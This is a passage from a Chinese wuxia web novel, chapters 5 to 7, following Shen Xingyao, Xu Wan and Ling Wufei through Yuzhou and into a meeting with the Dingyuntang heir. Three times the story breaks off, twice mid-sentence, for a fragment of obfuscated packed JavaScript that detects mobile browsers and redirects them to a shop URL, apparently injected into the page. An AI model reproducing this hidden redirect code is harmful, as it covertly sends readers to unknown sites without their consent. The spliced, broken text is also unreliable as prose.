“星遥,这次比试,你只输了一招,的确可惜,”洛寒衣神情严肃,说这话时颇有几分告诫意味,“可输了便是输了,你才十五岁,七年以后,你还有机会。”言罢,即刻拂袖转身,欲宣布散场。 “掌门,我不服。”沈星遥立在原地,定定看着洛寒衣的背影,没有大声抗议,也没有气急败坏,只是平声静气说道。 “哦?”洛寒衣微微回头,眼中已有腻烦之色,“不服什么?” “星遥自幼谨遵师尊教诲,潜心习武,从不懒散拖沓,敷衍了事。”沈星遥一步步走到洛寒衣身后站定,一字一句道,“您轻飘飘的一句话,便抹杀了我这多年来的所有付出。没错,我这次输了,七年后能再战,可等到七年后,同样的事再重新上演,我又当如何?试问一生能有几个七年?想要让您主持一次公道,就这么难吗?” 她为人坦率直言,从不会拐弯抹角。此言一出,洛寒衣立刻便蹙起眉来,回头紧盯她双眸,质问她道:“你是在说我冤枉你?” “那么您认为呢?”沈星遥丝毫不惧与她对视。 “你既如此强词夺理,那我朝华殿也不需要像你这样的弟子。”洛寒衣说着,即刻抬高嗓音,对在场众人宣布道,“从此刻起,每七年一次的弟子甄选,将沈星遥永久除名,任何人不得擅开方便之门!” 5. 第五章 沙尽秋草哭 “这不公平!”扶摇殿镇殿使顾晴熹豁然起立,奔入场中,对洛寒衣躬身抱拳道,“请掌门三思。” 沈兰瑛跟在她身旁,飞快上前握住沈星遥的手,拉到身旁。 “三思?”洛寒衣道,“一向不喜争名夺利的琼山派,如今却出了这样的弟子,也不知从哪沾上这浮躁的气性,输了一场比武便不依不饶,这般急功近利,即便真有一日赢了试炼,恐怕我朝华殿这小庙,也装不下这尊大佛。” 沈星遥听着一向令人敬重的掌门,不分青红皂白将这些莫须有的罪名加在她身上,起初还握紧的拳头,忽然便如泄了气似的,倏地松开。 “掌门说的,的确在理。”沈星遥缓步上前,眼色释然,显已无意争执,“既然如此,星遥便尊师重道,还您一个清静。” “你待如何?”洛寒衣怒了。 “不待如何,不过就是叛出师门,各循其道,”沈星遥一耸肩道,“免得留在这里,我对您不服从,您一看见我,心里也硌得慌。” “沈星遥!你可知道自己在说什么?”顾晴熹大声喝道。 “从此刻起,我不再是琼山派的弟子。”沈星遥推开沈兰瑛的手,神色泰然,“若我没记错,依照门规,只要能与掌门过得百招,活着走出山门,便可任意离去。虽说数百年来,从未有人如此做过,但我可以做第一个……” 当徐菀听到沈星遥为能脱离师门,竟真在洛寒衣手下走了百余招,携满身内伤,跌跌撞撞下山时,不由怒从中来,拍案而起,痛斥一声道:“太过分了!” 一旁入定的凌无非被这话音吓得一个激灵,猛地睁开双眼,扭头朝二人看去,满脸讶异之色。 “掌门就这样办事的吗?不分青红皂白。”徐菀愤愤不平,“师姐,你怎么能够接受这些不公?” “当然不能。”沈星遥摇头,神色淡然,“所以我这不就下山来了吗?” “可你看起来……” “事情都过去三年了,我总不能一辈子都过不了这坎吧?”沈星遥莞尔一笑,站起身来,舒展开双臂,长舒一口气,展望庭外夜景,听着有一声没一声的虫鸣,道,“我看山下也挺好,想做什么便能做什么,不必再受任何人约束。” 徐菀听到这话,略略低头,若有所思。 凌无非却不由得蹙起了眉,内心充满疑惑。 一派掌门,处事竟如此不公,仿佛为泄私愤一般随意处置弟子,不论如何作想,都令人匪夷所思。 沈星遥瞥见他这副沉思的模样,随口问道:“凌少侠可是对此有何看法?” “没有没有。”凌无非下意识避开她目光,连连摆手,再次闭目入定。 君子不听墙根,不妄议是非,这些道理,他还是明白的…… 等到翌日一早,三人便搭了船,回到市镇上。 渝州城内,街市上人声鼎沸,小贩叫卖,行客喧哗,人声鼎沸,热闹非凡。 “我方才便想问,”凌无非搀扶着一干呕不止的沈星遥,问道,“你们师姐妹二人都在昆仑山长大,她还比你在山上多住了三年。为何方才她坐船时,却无半点不适?” “这你应当去问她,”沈星遥回头瞥了一眼停在一个卖酸枣的摊位前,正同小贩热切交谈的徐菀,无奈不已,“没准她底子就是比我好,又或……是我哪里生得不健全……总之,若无必要,我从此再也不会去那玉峰山里……分明便是找罪受。” 她干呕了一路,只觉得五脏六腑都已不在原来的位置上,再看看徐菀此刻的模样,疑问与失落在她心头纠缠,搅得本就晕晕乎乎的头脑愈加混乱不堪,双腿也变得疲软起来,几乎要瘫倒下去。 这时,徐菀抱着一把酸枣跑了过来,递给沈星遥,道:“刚才那小哥说,晕船不适,吃点酸的就好了。你要不要尝尝?” “吃不下……”沈星遥挣扎着走到右侧一间空置的门店前的石阶前坐下,道,“我先歇会儿,等等再走。” 凌无非和徐菀相视一眼,先后坐在了她身旁。 “我在秦州时,听一位说书先生讲过些许传闻。”沈星遥的目光飞快从凌无非身上扫过,“这个天玄教,到底是什么来路?” “二十多年前,江湖之中各派争斗,乱象横生。有位叫做张素知的女侠横空出世,戴着一张半人半鬼的面具,随身携带一把叫做“玉尘”的横刀,云游四海,行侠仗义。”凌无非道,“此人从不以真面目示人,因而引发诸多猜测,还有许多已成名的侠士上门挑战,说是只要张女侠落败,就得摘下面具,让人一睹真容。” “那后来呢?有人胜过她吗?”徐菀好奇问道。 “没有。”凌无非摇头道,“据说,当今闻名天下的‘天下第一刀’,也就是鼎云堂的堂主,段元恒段老太爷,也曾上门挑战,还说如果自己输了,就把这‘天下第一刀’的名号,拱手奉送给张女侠。” “这我倒是听过,”沈星遥一点头道,“可他确实输了,为何如今还是……” “因为张素知遁入魔道,成了天玄教的教主。”凌无非道,“在那之后,也就是十九年前,由折剑山庄庄主薛良玉牵头,带领各大门派齐聚玉峰山,剿灭了天玄教,连同张素知在内,片瓦不留。” “可如今看来,这儿不止有瓦,还有人啊……”沈星遥若有所思。 “对了,昨天凌少侠你提到的‘傀儡术’又是什么?”徐菀按捺不住好奇,开口问道。 “我来渝州前,查阅旧籍看过一些记载,大略是天玄教内门人驱使无辜人为自己行事的隐秘手段。又或者,是当年江湖上盛传的,以傀儡之术诱拐少女、孩童。”凌无非道,“至于这‘傀儡术’如何使用,便不得而知了。” “凌兄既然是鸣风堂的人,定会知道不少有关天玄教的消息,不知能否透露一二?”沈星遥道。 “当然,”凌无非略一颔首,“只是,天玄教行踪隐秘,少与外界往来,能找到的记载着实不多。” “那可有关于阿菀这种情形的旧例?”沈星遥问道。 “这倒没有印象。”凌无非摇头,眉心却忽地一沉。 沈星遥也蹙起了眉。 三人不约而同,觉出身后不远处那不同寻常的异动。 “师姐,有人跟着我们很久了……”徐菀小声说道。 凌无非不动声色站起身来。 他独自一人向前走开,沈星遥也缓缓起身,沿着一旁的台阶走上二楼。徐菀也收起酸枣,快步追上,跟在了她身后。 沈星遥扶着栏杆,一步步往前走着。这条街两侧的铺面,只有里边用了内墙隔开,外边的走廊都是连通的。她一面往前走着,一面留意着对面二楼长廊中往来的行人,过了一会儿,一名身穿褐色交领长衫的“老头”便进入了视线当中。 这“老头”须发皆白,脚下行走的步伐却异常稳健,身形尽管佝偻,却与他整体姿态十分不协调,仿佛是个从不同器具上,拆分下来的部件临时组装而成的一副身体,虚假而做作。 沈星遥加快了脚步,过了一会儿,那“老头”也走得更快了。 楼下的凌无非显然也发现了这异常的动静。然而街市之中,人潮拥挤,未免落下,他只能用手拨开人群,大步追赶。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150351|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就在这时,对面二楼走廊上的“老头”忽然跑了起来。沈星遥也不甘示弱,提气纵步,疾走如飞。徐菀慢她半拍,等到反应过来,已看见沈星遥追平那“老头”的脚步,翻出栏杆之外。 恰在此时,一支戏班从街市上经过,里边的伶人扮着贵妃,坐在近二层楼高的步辇上,为遮挡烈日,步辇上方还搭了金色的顶,折射出闪耀的光。由于两侧铺面相隔距甚远,沈星遥翻出栏杆外时,足尖踏过步辇金顶,借力跃起,一个翻身便踩到了对面的栏杆上。 “老头”见状,立刻狂奔起来。 “站住!”沈星遥翻入长廊,将周围几个结伴出行的妇人吓了一跳。她顾不上这些,双足一落地,便立刻朝那“老头”追了过去。 “师姐!”徐菀远远冲着沈星遥的背影高喊,“当心有诈!” 与此同时,凌无非垫步跃起,单手握住铺面门外的幡子,纵身借力而上,紧随沈星遥之后,落在对面二楼走廊,疾步跟了上去。 沈星遥率先追上那“老头”,一把扣在他肩头,将他扳回身道:“你是何人?为何跟踪我们?” “谁跟踪你了?小姑娘,不要乱说话,我老头子洁身自好,可不会招惹你这妖里妖气的丫头片子。” “老头”说完,一把推向沈星遥,掌中暗含内劲,迫她退开。 沈星遥一惊,正待开口,却见凌无非也追了上来。他神情镇定,对那人道:“老人家,你丢了东西。” “就算是丢了东西,你们两个年轻人,也不该像抓贼似的,莽莽撞撞,也不怕伤着我老人家。”“老头”定了定神,抚须说道。 “您为何不问丢的是什么东西?”凌无非眸光倏然变得凌厉。 “想来不是重要之物,送给你吧!”“老头”说完,突然攀上栏杆,直接跳了下去。 沈、凌二人大惊,连忙扶着栏杆探身朝下望去,只见那“老头”躺在地上,四肢乱摇,开始装哭耍赖:“都来评评理啊!这两个年轻人,竟将我‘老头子’推了下来,这是什么世道啊……” “无赖!”沈星遥咬牙骂道。 不知情的路人纷纷围拢而来,对着两人指指点点,议论纷纷。 徐菀见势不对,赶忙找了个楼梯匆匆往下赶。 “老人家,你这头发可都全白了,看这模样,应过古稀了吧?”凌无非沉下脸道,“像您这个年纪,摔下去还能手舞足蹈,身子骨可真好。” “你说什么?”“老头”还在呜哇呜哇地胡乱叫唤,根本没听清他说了什么。 “我是说,你怎么没摔死呢?”凌无非收敛笑意,瞪了那“老头”一眼,大声骂道。 沈星遥见他也怒了,便懒得再说废话,当即翻身跃下。“老头”见势不对,一溜烟爬起身来,转身便跑。 凌无非紧随其后,单手支着栏杆,向外翻出,纵步跃至街头。 而先他一步的沈星遥,已然追出闹市外,随着一个转弯,视线豁然开朗,街道也空旷许多。 她没有看见老头,便又往前追赶了几步,却忽然停住,缓缓向右回头。 一个妇人站在那里,正弯腰掸去鞋面的灰尘。 在这妇人的领口,还沾着一根白色长须,又或许是头发。 可她的发髻齐整,一丝不苟,满头青丝,没有一根白发。 “这位夫人,”沈星遥一步步朝她走了过去,缓缓开口,问道,“您刚才可有看见一位老先生跑过去?” 妇人没有回答,而是缓缓抬起头来。 就在此时,沈星遥听见身后传来凌无非一声大喝:“退后!” 6. 第六章 灵诡暗藏锋 沈星遥本能回头,却忽然被一阵不知从何处来的白色烟尘呛得直咳嗽。 等到烟尘散尽,那“妇人”也不知去了何处。 凌无非见状赶忙奔上前来,快步绕至沈星遥跟前,仔细查看,用拇指抹去一块沾在沈星遥眼下的白灰,却忽然僵住。 他猛然反应过来,自己这一举动,实在有些轻浮。 可沈星遥却不管这些,两手胡乱抹去脸上沾染的白色尘烟,又咳了几声,才勉强睁开眼。 她扫视一眼四周,已不见了那“妇人”的身影。 凌无非低头看了看沈星遥此刻的模样,只见她那明艳的面庞之上,沾着大大小小分布不均的白灰,有些狼狈,又有几分可爱。 他眨了眨眼,避开沈星遥的直视,握拳掩在鼻下,强忍笑意,清了清嗓子道:“沈女侠,这些江湖宵小惯用的伎俩,你恐怕还得多学学。” “这是什么?我还是第一次见,”沈星遥感慨道,“躲不过便用这种手段,真是无耻至极。” “一点石灰粉,用菜籽油擦擦就好。”凌无非道,“此人跟了我们一路,不会善罢甘休。这次跟踪不成,应当还会有下次。” “再有下次,我一定要看清楚他到底是个什么东西。”沈星遥道。 这时,后知后觉的徐菀终于追了上来。她看了看沈星遥沾了白灰的脸,连忙掏出帕子替她擦拭。 “这是怎么了?没追上吗?”徐菀道,“刚才那个人呢?” 沈星遥眉心微蹙,两手一摊,摇头叹了口气,道:“跑了。” “这就跑了?他到底什么来头?”徐菀不满道。 “想是与昨晚那两人有关,”凌无非抬眼望了望天,见日头正好,复转向二人,笑道,“饿了吧?去找点东西吃,我请。” 三人来到食肆落座,点完餐食,跑堂的伙计又端来一壶杏仁茶。 徐菀看了一眼沈星遥,又看了看凌无非,蹙眉问道:“方才那人,似乎从我们回到镇上开始,便一路尾随,说不准,就是昨晚遇见的那两个?” “应当是了。”凌无非斟了一杯杏仁茶,推到沈星遥面前,一面斟第二杯,一面说道,“既然人已跑了,便别想太多,倘若真与昨晚那人有关,一定还会再来。” 说完,他又把第二杯杏仁茶推到了徐菀跟前。 “对了,师姐,”徐菀端起杏仁茶,好奇问道,“我是何时离开昆仑山的?其他师姐妹呢?” “大概……有一个多月了吧。”沈星遥端起杯子,思忖一会儿,又缓缓放下,道,“前些我为探望旧人,悄悄回过山上一趟,也是那时才知道你下山来了。” 她顿了顿又继续说道:“原本发生这种事,我应当立刻通知苏师叔,把你送回昆仑。可我上次回去,掌门已对我很是不满,这次遭遇意外的又刚好是你,要是由我把你送回去,恐怕会遭问责。” “有道理。”徐菀点点头道。 凌无非在一旁听着,不免讶异。 从沈星遥的话里听来,这位洛掌门的表现,实在难以常理推断,甚至整个故事听起来,像极了胡编乱造。然而沈星遥言辞诚恳,神情更是情真意切,是以尽管说得离奇古怪,凌无非也只是摇了摇头,并未过多插嘴。 “所以该怎么做,由你自己决定。只是,你要是回到昆仑山,千万别让掌门知道你遇见过我。”沈星遥道。 “我……其实不想回去。”徐菀道,“我还不知道,究竟是天玄教找上了我,还是我招惹上了天玄教,要是给她们也惹了麻烦怎么办?” 沈星遥听罢不言,端起盛着杏仁茶的杯盏,沉默片刻,道:“阿菀,我想一会儿还是得寻个医师替你看看。你身上没有外伤,失去记忆多半是药物所致,只有找出根源,才好对症下药。” 凌无非看了看这师姐妹二人,思索片刻,道:“倒也不必灰心,或许经卷阁内还有被我遗漏的记载,等回到金陵再找找,或许能有办法。” 他见师姐妹二人似有疑惑,便解释道:“听昨天那个女人所言,似乎并不在意我是死是活。而徐姑娘的性命,她却非取不可。想来必是徐姑娘撞见过何事,对他们而言至关重要。” 说着,他顿了顿,又道:“徐姑娘所遗忘的那些见闻,对我而言也是十分重要的消息,所以眼下我能够做的,便是尽力帮助二位。” 在三人交谈的工夫里,跑堂的伙计已将饭菜端了上来。徐菀一面夹菜,一面把椅子向沈星遥的位置挪了挪,向她问了许多门派里的事。 除却那些门派隐秘,不可传扬之事,问及闲杂,沈星遥都一一作答。一旁的凌无非由始至终都平静听着,神色如常,波澜不惊。 由于玉峰山里的机关已被封死,几人光靠猜测也能想到,必是原本藏身在那里的人为了销毁痕迹所为,即便再次回头,也查不出任何所以然来,便只能决定先行离开渝州。 三人用过饭后,走出食肆大门,却见头顶天色突然暗了下来。 他们本以为是天气骤变,恐将下雨,便又退回了客舍,却看见客舍内外的人齐刷刷跪在了地上。 “这怎么回事?”凌无非愣道,“都中邪了吗?” 三人不约而同望向门外,越发意识到不对劲,不过顷刻工夫,天色便由晴转阴,迅速入夜——与其说是夜,更不如说像是天狗食日,甚至更暗,无星无月,不见五指,仿佛天地间的一切,都被一张无形巨口所吞噬。 黑暗之中,沈星遥吹亮了一只火折子,照亮三人身形。 一旁却传来一个声音:“当心鱼仙人降罪,快把火灭啦!” “鱼仙人?那是什么东西?”徐菀不解。 “可不能胡说,那可是玉峰山里的神!”那声音颤抖着回答道。 “说得头头是道,难道你们见过?”徐菀问道。 “快跪下吧!当心鱼仙人降罪,”黑暗之中又传来一位老者的声音,“年轻人,真是无知无畏……” “既说是‘鱼仙人’降罪,不如就去水边看看?”沈星遥道,“真要是神明,我们刚才未跪,已经开罪过了,也不在乎多加一条。”言罢,便举着那只火折子,挽过徐菀的手,一步步向前走去。 三人凭借着火折子这唯一的光亮,在满地跪着的人群中间穿行,往城郊而去,途中所见百姓,都低头跪倒在地,分外虔诚。 沈星遥回想起昨日水上见闻,眉心紧蹙,却不言语。 “师姐,”等到了城郊,附近再也找不见其他人影,徐菀这才挽着沈星遥的手,轻声问道,“你说这渝州城里,是不是真有神仙。” “若是那条鱼真是神仙,它就不会放过我了。” 沈星遥话音刚落,却听到前方传来一声凄厉无比的惨叫。这声音极为刺耳,几乎将三人的耳朵给震聋。 就在这一刹那,整片天空竟又亮了起来,渐渐恢复如常。 三人站在林外,面面相觑,全然想不明白这匪夷所思的天象异变到底是怎么回事。 “这到底是不是有神仙?”徐菀眉头紧锁,难免疑惑。 “子不语,怪力乱神。”凌无非说着,却不自觉陷入沉思。 沈星遥吹灭火折,摇了摇头,拉上徐菀正待回头,却觉鞋尖渗入一阵潮气,低头一看,却见一行血水正从林间流淌而出,被她右脚挡住,在布靴周围逐渐凝成一小滩血泊。 沈星遥眉心陡的一颤,当即拔腿朝林中奔去。徐菀见状,亦快步追了上去。 凌无非抱臂在原地站了一会儿,歪过身子看了看这两个姑娘莽莽撞撞的背影,无奈摇了摇头,这才抬起脚步。 然而映入三人眼帘的,却是一具裹着鲜血的白骨。在这白骨旁的不远处,还躺着一名衣衫破烂,近乎赤裸的少女。 凌无非立刻闭上双眼,背身回避,一声也不敢吭。 “她还有呼吸。”徐菀蹲在那少女身旁,探了探她鼻息,抬头对沈星遥道。 沈星遥没有回答,而是忙着从包袱里找出一件长度宽度都足以遮盖包裹住那少女全身的深衣,盖在她身上,随即回头,对凌无非道:“可以转过来了。” 凌无非听到这话,适才回转身来,目光定定落在那具裹着鲜血的白骨之上,眉头紧锁,一言不发。 沈星遥看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150352|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了看那白骨,道:“寻常尸首腐烂成这样,根本不会有血迹。可这血还未干,倒像是刚从伤口流出来。” “江湖中人,毁尸灭迹的手段变幻万千,”凌无非若有所思道,“传说在一些行踪隐秘的杀手组织中流传着一种毒物,倒在尸首上,可以使之顷刻化为脓水,消散于无形。” “可若是如此,连骨头也会一同腐化才是。”沈星遥道。 凌无非瞥了了一眼倒在地上的少女,道:“也许她知道是怎么回事。” “我刚才简单看过,她身上没有外伤,脉象虽然微弱,却也还算平稳。”沈星遥道,“不如找个客舍,先把她安置下来,再做打算。” “是啊,”徐菀点头道,“既然遇见了,别不管她吧。” 凌无非略一点头,道:“你们抬得动她吗?” “要不你背回去?”徐菀好似分不清男女之别,随口说道。 “那不如雇辆马车吧。”凌无非摇头长叹,似已对她无话可说。 等到那名少女在客舍醒来,已经是傍晚时分。 凌无非靠在客房大门一侧,不动声色看向屋内,沈、徐二人则坐在床边的矮凳上,目不转睛盯着她的动静。 少女初醒来时,神色还有些茫然,然而坐起身后看见床边的师姐妹二人,身体却忽然僵住了。 “你没事吧?”徐菀率先开口道,“我们在河边捡到了你,旁边还有一具尸骨,是你的亲人吗?” 果然是久居山中,不谙世事的初生牛犊,说话全然不懂婉转遮掩。凌无非听完这话,一时哑然。 少女仍旧僵着身子,直直盯着二人,一声不吭。 凌无非见状,当即跨过门槛,走到桌旁,拿起一只空杯盏,倒了些茶水,走到床前递给那少女,和气说道:“我们没有恶意,不必害怕。” 少女似乎这时才发觉屋里还有他这号人,十分戒备地抬眼盯了他许久,却不伸手接那茶盏。 “我来吧。”沈星遥接过茶盏,正要递给那少女,却被她一把掐住胳膊,还没来得及问话,便听到她“哇”地一声哭了出来。 “怎么啦?是不是有人要害你?”徐菀问道。 少女抽噎着点头,道:“我和我娘来渝州寻亲,到了村里,才知道他们一家都已经搬走了,谁知道路上遇见了歹人,他们要把我……把我……我不肯依从,他们就把我打晕,之后……之后我就什么都不知道了……” “那……那具白骨……不会是你娘吧?”徐菀露出难以置信的神色。 “白骨?怎么会是白骨呢?他们把我娘怎么了?”少女追问道。 “你先别激动,”凌无非淡淡道,“许是那些歹人携有化尸水一类的药物,所以才会……” 少女还没听完他说的话,当即放声大哭:“娘……娘……” 沈星遥听着她的哭声,只觉得这少女实在可怜,道,“姑娘,你可还有其他亲人?” “有……我有个定了亲的丈夫……我……我这就去投奔他。”少女抹了一把眼泪,道。 “所幸没受什么伤。”沈星遥叹了口气,道,“不如姑娘在这休息一晚,明日再做打算?” 少女听罢点头:“那……那我先睡了。”说着,便怯怯躺回了床上。 “我们也走吧,师姐。”徐菀说道。 三人随即退出房门,打算各自回房休息。然而一路上,凌无非却始终环抱双臂,低头思索着何事,忽然他一个激灵,扭头对沈星遥问道,“沈姑娘,能不能让我看看刚才她握过你的那只手?” “有什么问题吗?”沈星遥伸出右手,不解问道。 凌无非不言,一手托着她右手指尖,一手缓缓将她袖口卷起寸余,查看被那少女掐过的手腕。只见她手腕之上,赫然显现出五道清晰的红色指印。 “她有这么大的力气吗?”徐菀凑上前来,好奇问道。 “那人有问题!”凌无非眸光一紧,当即松开沈星遥的手,飞奔回那少女所在的客房,大力推开房门,却见屋内空空荡荡,已然不见那人的踪迹,只能看见半开的窗扇,被风吹得摇摇晃晃。 7. 第七章 犹作天涯想 师姐妹二人紧跟而来,徐菀瞧见此景,不由愣道:“这……这是怎么回事?” “你们救下她的时候,她身上可有伤痕?”凌无非扭头问道。 “只有一些灰尘与很浅的擦伤。”沈星遥道。 凌无非嗤笑出声:“那她方才所言,恐怕没有一句真话。” “为什么?”徐菀困惑不已。 “土匪采花,难道还会以礼待人吗?”凌无非道。 “采什么花啊?”徐菀说道,“那树林里连草都没几根,去哪采花?” 凌无非听到这话,蓦地一僵,一时之间竟不知该说什么好。 “我明白了。”沈星遥点头道,“阿菀,回房我再同你解释。” 徐菀仍在发懵,听了这话,看了看凌无非,又看了看自家师姐,歪着脑袋想了好一会儿,乖乖点了点头:“哦……” “想必那位姑娘是有难言之隐,”沈星遥感慨道,“罢了,萍水相逢,情有可原。” “话虽如此,到底谨慎些好。”凌无非松了口气,道,“天色晚了,还是等过了今夜,再出城吧。” 沈星遥闻言莞尔,略一颔首,便即拉着徐菀回房。壁灯的光落在二人身后,把影子拉得老长。 “师姐,”等回到房里,徐菀这才开口问道,“其实一开始我就没听懂她的话,那位姑娘想说的,是那些歹人要对她做什么?” “采花啊。”沈星遥目光略显无奈。 “采什么花啊?”徐菀愈觉丈二和尚摸不着头脑。 “采她这朵花啊,”沈星遥无奈道,“你就算在山上呆久了,没见过,没听过,书上总该看过吧?” “可我不是什么都忘了吗?就算记得……我大概也只会对心法、刀谱之类的书感兴趣。” “那倒也是,山上没几个男人,就算有也都有主,你不需要懂。”沈星遥说着,随即从桌旁拉出一张椅子坐下。 “我还是不太明白……”徐菀躺倒在床上,长叹一口气,道,“师姐,你说,要是过去的事,我永远想不起来,该怎么办?” “无忧无虑也挺好。”沈星遥淡淡道,“只要别惹上硬茬。” “对了,”徐菀坐起身来,道,“除了掌门,山上还不喜欢你的人吗?” “多得是。”沈星遥道,“我也没数过,不过,我的同胞姐姐沈兰瑛也在山上,她待我很好。” “我倒是觉得你挺好相处的,”徐菀若有所思,“真是不明白,一场比武而已,掌门怎么就容不下……” “或许不是讨厌我,只是觉得我不懂收敛心性,不够沉稳吧。”沈星遥笑道。 “那等我以后回去,再问问掌门,看此事还有没有转机。”徐菀说道。 “那倒不必,现在这样也很好,”沈星遥道,“山下有的,昆仑山上都没有,我也很想看看这五湖四海的山山水水,到底有什么不同。” 她一面说话,一面起身走到窗边,推开窗扇。静夜漫长,云似飞絮,月色皎如绢纱,银辉倾斜在大地,照着万家屋宇。 凌无非立在窗边,看着被夜色笼罩的万物,回想着白日里的奇遇,眉头越发紧锁。 来到渝州还不足三日,便已发生了这么多古怪之事,直觉告诉他,这一切都不简单。 可却没有一件事能立刻找出头绪。 想了很久,他也觉得倦了,便回到床边,躺倒睡去。许是心事太多,一夜过去,都不曾安稳入眠,半睡半醒间,似乎做了很多梦,可等到清晨,他睁开双眼,却是什么梦也不记得。 他便只好起身走出房门,走到楼下大堂,点了一碗汤饼,在窗边坐下。 然而还没等那碗汤饼端上来,他便对着窗外,蹙起了眉。 他看见一名锦衣华服的少年,从窗前经过,在看见他的那一刹那,停下脚步,欣喜笑道:“你真在这里!” “嗯……”凌无非站起身来,似乎很不愿意搭理他。 “别走啊!”少年情急之下,直接翻窗而入,一把拉住凌无非,道,“你怎么跑这来了?真让我好找。” “你找我作甚?”凌无非道,“还嫌上回我把段老爷子气得不够吗?” “你这话就见外了,”少年说道,“就算不看秦掌门的面子,你也是大名鼎鼎的惊风剑传人。我爷爷那脾气,你也知道……” “这我可不敢当,”凌无非摆摆手道,“段堂主一把年纪,脾气可不小,真要被我给气出个好歹,我可担当不起。” “话是这么说,可上次你们到底是因为何事起争执……” “这你就不必知道了。”凌无非挑眉笑道,“不如这样,改日等我得了空,再备份厚礼去找他老人家道歉,可好?” “不必等改日,下月二十五便是我爷爷七十大寿。老人家年岁大了,不想过于铺张,就想邀些熟悉的亲朋好友聚聚。这次我到处找你,也就是为了这事。”少年说着,便从怀中掏出一张请帖,递了过去。 “下个月?”凌无非略一迟疑,缓缓从他手里接过帖子,也不打开瞧一眼,便揣进了怀里,“你是特地来找我的?” “当然了,”少年说道,“你可知我找你找得多辛苦?好端端的不待在金陵,怎么就……” “你等我一会儿。”凌无非说着,便即转身上楼,匆忙跑去沈星遥所在客房,敲响了房门。 沈星遥闻声开门,却见他一脸严肃,低声说道:“我遇上些麻烦,得立刻出城。你们……” “发生什么事了?”沈星遥话音刚落,目光却在他身后定住,“这位是……” 凌无非暗道不好,当即回头,却见那少年领着几名随从打扮的精壮男子立在身后,将楼梯口完全堵住。 “这是干什么?”凌无非眉心一紧。 “是爷爷让他们同我一起来的,让我接你去参加寿宴。”少年笑道。 “摆这阵仗,只是为了让我去给他祝寿?”凌无非满目狐疑。 “我是不是在哪里见过你?”沈星遥将那少年打量一番,忽然开口问道。 少年这时才留意到她,扭头看了一眼,却忽然愣住:“怎么是你?” 凌无非听到这话,只觉一头雾水,看了看那少年,又看了看沈星遥,眼中疑惑愈盛:“你们认识?” “这……” “一面之缘,还交过手。”沈星遥直接打断段逸朗的话,转向凌无非,问道,“你们也有过节?” “‘也’?”凌无非听得更加茫然,“那倒不至于,不过你们这是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150353|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “沈女侠上回走得匆忙,今日正巧,”段逸朗看了看沈、凌二人,微笑说道,“不如同去姑苏,爷爷他正好也想见见你。” “是要见我,还是打算教训我?”沈星遥面无表情。 “沈女侠说笑了,”段逸朗道,“上回我家祖父真不是要找你麻烦,只是……” “师姐!”段逸朗话才说到一半,屋内便传来徐菀慵懒的话音,“一大早的,怎么这么吵啊……” “你先穿好衣裳,一会儿跑起来快些。”沈星遥回头,隔着门对着屋里的徐菀淡淡说道。 段逸朗听她这么说,连忙令身旁几名随从退后几步,拱手施礼道:“沈女侠真的误会了,我爷爷虽然看重名声,却绝不是那等心胸狭隘的小人。这次既然遇上了,就请沈女侠一道同我们回姑苏去吧。” “为何要去姑苏?”穿好衣裳的徐菀凑了上来,看了看段逸朗同他身后的那些随从,不解问道,“这都谁啊?从哪来的?” “在下姑苏鼎云堂段逸朗,见过姑娘。”段逸朗恭敬施礼道,“马车就在门外等候,几位随我来吧。” 沈星遥略想了想,看了看凌无非,沉声问道:“要动手吗?” “倒也不必如此,”凌无非摇头道,“段老爷子在江湖上,也算是声名赫赫,这次只是请我去他寿宴,不会有什么事,不如你们先行离开,到金陵等我。” “你一个人去?”沈星遥摇头,道,“不妥,我们同你去吧。” “如此甚好。”段逸朗喜道,“那就请各位请随我来吧。” 凌无非长舒一口气,便即跟在段逸朗身后走下楼梯,沈、徐二人不动声色跟上,却见段逸朗凑到凌无非身旁,小声说道:“凌兄,你同这位沈女侠是朋友?” “算是吧。”凌无非道。 “那你帮我爷爷解释解释,”段逸朗道,“你也知道,他年纪大了,就想要个名头,好让自己走的那天能够安心,谁知道他刀法里的破绽,都让这位女侠给看破,还说了出来……” “是吗?”凌无非听他说完,不经意回头看了一眼沈星遥。 徐菀瞧见此景,当即拉了一把沈星遥,道:“这个人好奇怪,师姐,你是怎么认得他的?” “说来话长,改天和你解释。”沈星遥低声答道。 正说着,一行人便已来到停在客舍外的一辆马车前,那车前还停着几匹良驹,显然是那几名随从的坐骑。 “凌兄,请上车。”段逸朗掀开车前门帘,道。 “你们确定不走吗?”凌无非回头看了一眼沈星遥,问道。 “一起去吧,多少有个照应。”沈星遥道。 凌无非张了张口,欲言又止,只得无奈摇了遥头,退后两步,示意师姐妹二人先上马车。段逸朗见了,本待上前搀扶,却被沈星遥躲开,直接抬腿跨上车头,进了车厢。 